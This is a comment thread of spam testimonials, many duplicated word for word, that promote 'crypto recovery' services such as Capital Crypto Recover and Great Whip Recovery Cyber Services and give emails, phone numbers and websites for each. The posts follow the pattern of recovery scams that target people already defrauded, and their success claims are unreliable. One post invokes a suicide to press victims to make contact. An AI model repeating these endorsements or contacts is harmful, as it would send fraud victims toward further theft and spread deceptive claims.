    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 26.11.25 19:13 James Robert

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  • 26.11.25 19:13 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site

  • 26.11.25 19:13 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site

  • 27.11.25 10:56 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 27.11.25 10:56 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 27.11.25 20:04 deborah113

    Scammed Crypto Asset Recovery Solution Hire iFORCE HACKER RECOVERY When I traded online, I lost both my investment money and the anticipated gains.  Before permitting any withdrawals, the site kept requesting more money, and soon I recognized I had been duped.  It was really hard to deal with the loss after their customer service ceased responding.  I saw a Facebook testimonial about how iForce Hacker Recovery assisted a victim of fraud in getting back the bitcoin she had transferred to con artists.  I contacted iForce Hacker Recovery, submitted all relevant case paperwork, and meticulously followed the guidelines.  I'm relieved that I was eventually able to get my money back, including the gains that were initially displayed on my account. I'm sharing my story to let others who have been conned know that you can recover your money. WhatsApp: +1 240-803-3706 Email: iforcehk @ consultant. c om Website: ht tps:/ /iforcehackers. c om

  • 27.11.25 23:48 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 27.11.25 23:48 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 28.11.25 00:08 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I found someone Agent Jasmine Lopez ([email protected])WhatsApp at +44 736-644-5035. ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it.

  • 28.11.25 11:15 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 28.11.25 11:15 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 28.11.25 11:43 elizabethmadison

    My name is Elizabeth Madison currently living in New York. There was a time I felt completely broken. I had trusted a fraudulent bitcoin investment organization, who turned out to be a fraudster. I sent money, believing their sweet words and promises on the interest rate I will get back in return, only to realize later that I’ve been scammed. On the day of withdrawal there was no money in my account. The pain hit deep. I couldn’t sleep, I kept asking myself how I could have been so careless, meanwhile my mom was battling with a stroke and the expenses were too much. For days, I cried and blamed myself. The betrayal, the disappointment and my mom's health issues all of this stress made me want to give up on life. But one day, I decided that sitting in pain wouldn’t solve anything. I picked myself up and chose to fight for what I lost then I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how he helped people recover their funds from online fraud. I emailed all the transactions and paperwork I had with the fraudulent organization and they helped me recover all my lost money in just five days. If you have ever fallen victim to scammers, contact GREAT WHIP RECOVERY CYBER SERVICES to help you recover every penny you have lost. (Text +1(406)2729101) Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site (Email [email protected])

  • 28.11.25 11:43 elizabethmadison

    My name is Elizabeth Madison currently living in New York. There was a time I felt completely broken. I had trusted a fraudulent bitcoin investment organization, who turned out to be a fraudster. I sent money, believing their sweet words and promises on the interest rate I will get back in return, only to realize later that I’ve been scammed. On the day of withdrawal there was no money in my account. The pain hit deep. I couldn’t sleep, I kept asking myself how I could have been so careless, meanwhile my mom was battling with a stroke and the expenses were too much. For days, I cried and blamed myself. The betrayal, the disappointment and my mom's health issues all of this stress made me want to give up on life. But one day, I decided that sitting in pain wouldn’t solve anything. I picked myself up and chose to fight for what I lost then I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how he helped people recover their funds from online fraud. I emailed all the transactions and paperwork I had with the fraudulent organization and they helped me recover all my lost money in just five days. If you have ever fallen victim to scammers, contact GREAT WHIP RECOVERY CYBER SERVICES to help you recover every penny you have lost. (Text +1(406)2729101) Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site (Email [email protected])

  • 29.11.25 12:35 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 29.11.25 12:35 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 29.11.25 12:35 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 30.11.25 20:37 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01.12.25 12:27 Thomas Muller

    YOU CAN REACH OUT TO GREAT WHIP RECOVERY CYBER SERVICES FOR HELP TO RECOVER YOUR STOLEN BTC OR ETH BACK WHATSAPP +1(208)713-0697 I once fell victim to online investment scheme that cost me a devastating €254,000. I’m Thomas Muller from Berlin, Germany. The person I trusted turned out to be a fraud, and the moment I realized I’d been deceived, my entire world stopped. I immediately began searching for legitimate ways to recover my funds and hold the scammer accountable. During my search, I came across several testimonies of how Great Whip Recovery Cyber Services helped some people recover money they lost to cyber fraud, I contacted Great Whip Recovery Cyber Service team and provided all the evidence I had. Within about 36 hours, the experts traced the digital trail left by the fraudster, the individual was eventually tracked down and I recovered all my money back. You can contact them with,  website https://greatwhiprecoveryc.wixsite.com/greatwhip-site  text +1(406)2729101 email [email protected]

  • 01.12.25 12:27 Thomas Muller

    YOU CAN REACH OUT TO GREAT WHIP RECOVERY CYBER SERVICES FOR HELP TO RECOVER YOUR STOLEN BTC OR ETH BACK WHATSAPP +1(208)713-0697 I once fell victim to online investment scheme that cost me a devastating €254,000. I’m Thomas Muller from Berlin, Germany. The person I trusted turned out to be a fraud, and the moment I realized I’d been deceived, my entire world stopped. I immediately began searching for legitimate ways to recover my funds and hold the scammer accountable. During my search, I came across several testimonies of how Great Whip Recovery Cyber Services helped some people recover money they lost to cyber fraud, I contacted Great Whip Recovery Cyber Service team and provided all the evidence I had. Within about 36 hours, the experts traced the digital trail left by the fraudster, the individual was eventually tracked down and I recovered all my money back. You can contact them with,  website https://greatwhiprecoveryc.wixsite.com/greatwhip-site  text +1(406)2729101 email [email protected]

  • 01.12.25 23:45 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01.12.25 23:45 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 02.12.25 02:21 donald121

    In 2025 alone, hackers stole over $1.5 billion in digital assets from users worldwide. That's a wake-up call for anyone holding crypto. Theft hits hard because once funds move, they're tough to get back. Common ways it happens include phishing emails that trick you into giving up keys, big exchange breaches, or malware sneaking into your wallet. Marie guide walks you through steps to recover stolen cryptocurrency. You'll learn quick actions to stop more loss, how to trace funds, and ways to fight back legally. Plus, tips to avoid this mess next time. reach her (infocyberrecoveryinc@gmail com and whatsapp:+1 7127594675)

  • 02.12.25 15:05 Matt Kegan

    Reach out to SolidBlock Forensics if you want to get back your coins from fake crypto investment or your wallet was compromised and all your coins gone. SolidBlock Forensics provide deep ethical analysis and investigation that enables them to trace these schemes, and recover all your funds. Their services are professional and reliable. 

  • 03.12.25 09:22 tyrelldavis1

    I still recall the day I fell victim to an online scam, losing a substantial amount of money to a cunning fraudster. The feeling of helplessness and despair that followed was overwhelming, and I thought I had lost all hope of ever recovering my stolen funds. However, after months of searching for a solution, I stumbled upon a beacon of hope - GRAYWARE TECH SERVICE, a highly reputable and exceptionally skilled investigative and recovery firm. Their team of expert cybersecurity professionals specializes in tracking and retrieving money lost to internet fraud, and I was impressed by their unwavering dedication to helping victims like me. With their extensive knowledge and cutting-edge technology, they were able to navigate the complex world of online finance and identify the culprits behind my loss. What struck me most about GRAYWARE TECH SERVICE was their unparalleled expertise and exceptional customer service. They took the time to understand my situation, provided me with regular updates, and kept me informed throughout the entire recovery process. Their transparency and professionalism were truly reassuring, and I felt confident that I had finally found a reliable partner to help me recover my stolen money. Thanks to GRAYWARE TECH SERVICE, I was able to recover a significant portion of my lost funds, and I am forever grateful for their assistance. Their success in retrieving my money not only restored my financial stability but also restored my faith in the ability of authorities to combat online fraud. If you have fallen victim to internet scams, I highly recommend reaching out to GRAYWARE TECH SERVICE - their expertise and dedication to recovering stolen funds are unparalleled, and they may be your only hope for retrieving what is rightfully yours. You can reach them on whatsapp+18582759508 web at ( https://graywaretechservice.com/ )    also on Mail: ([email protected]

  • 03.12.25 21:01 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I found someone Agent Jasmine Lopez ([email protected]) ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it. Contact her at [email protected] WhatsApp at +44 736-644-5035.

  • 03.12.25 22:17 Tonerdomark

    I lost $300,000 in USDC to a phishing scam. Scammers tricked me with a fake wallet link. They drained my account fast. I felt hopeless. No way to get it back. Then Sylvester stepped in. His skills traced the funds. He recovered every bit. USDC is a stablecoin tied to the dollar. Phishing scams hit hard in crypto. They fool you with urgent emails or sites. Billions vanish each year this way. Sylvester knows blockchain tracks. He used tools to follow the trail. I got my money back in weeks. Skills like his turn loss to win. Don't wait if scammed. Contact Mr. Sylvester now. Email: yt7cracker@gmail. com. WhatsApp only: + 1 512 577 7957 or + 44 7428 662701. He helped me. He can help you.

  • 04.12.25 01:37 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 04.12.25 01:37 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 04.12.25 04:35 Tonerdomark

    I lost $300,000 in USDC to a phishing scam. Scammers tricked me with a fake wallet link. They drained my account fast. I felt hopeless. No way to get it back. Then Sylvester stepped in. His skills traced the funds. He recovered every bit. USDC is a stablecoin tied to the dollar. Phishing scams hit hard in crypto. They fool you with urgent emails or sites. Billions vanish each year this way. Sylvester knows blockchain tracks. He used tools to follow the trail. I got my money back in weeks. Skills like his turn loss to win. Don't wait if scammed. Contact Mr. Sylvester now. Email: [email protected]. WhatsApp only: + 1 512 577 7957 or + 44 7428 662701. He helped me. He can help you.

  • 04.12.25 10:32 Tonerdomark

    I lost $300,000 in USDC to a phishing scam. Scammers tricked me with a fake wallet link. They drained my account fast. I felt hopeless. No way to get it back. Then Sylvester stepped in. His skills traced the funds. He recovered every bit. USDC is a stablecoin tied to the dollar. Phishing scams hit hard in crypto. They fool you with urgent emails or sites. Billions vanish each year this way. Sylvester knows blockchain tracks. He used tools to follow the trail. I got my money back in weeks. Skills like his turn loss to win. Don't wait if scammed. Contact Mr. Sylvester now. Email: [email protected]. WhatsApp only: + 1 512 577 7957 or + 44 7428 662701. He helped me. He can help you.

  • 04.12.25 18:25 smithhazael

    Hire Proficient Expert Consultant For any form of lost crypto "A man in Indonesia tragically took his own life after losing his family's savings to a scam. The shame and blame were too much to bear. It's heartbreaking to think he might still be alive if he knew help existed. "PROFICIENT EXPERT CONSULTANTS, I worked alongside PROFICIENT EXPERT CONSULTANTS when I lost my funds to an investment platform on Telegram. PROFICIENT EXPERT CONSULTANTS did a praiseworthy job, tracked and successfully recovered all my lost funds a total of $770,000 within 48hours after contacting them, with their verse experience in recovery issues and top tier skills they were able to transfer back all my funds into my account, to top it up I had full access to my account and immediately converted it to cash, they handled my case with professionalism and empathy and successfully recovered all my lost funds, with so many good reviews about PROFICIENT EXPERT CONSULTANTS, I’m glad I followed my instincts after reading all the reviews and I was able to recovery everything I thought I had lost, don’t commit suicide if in any case you are caught in the same situation, contact: Proficientexpert@consultant. com Telegram: @ PROFICIENTEXPERT, the reliable experts in recovery.

  • 04.12.25 21:45 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 04.12.25 21:45 elizabethrush89

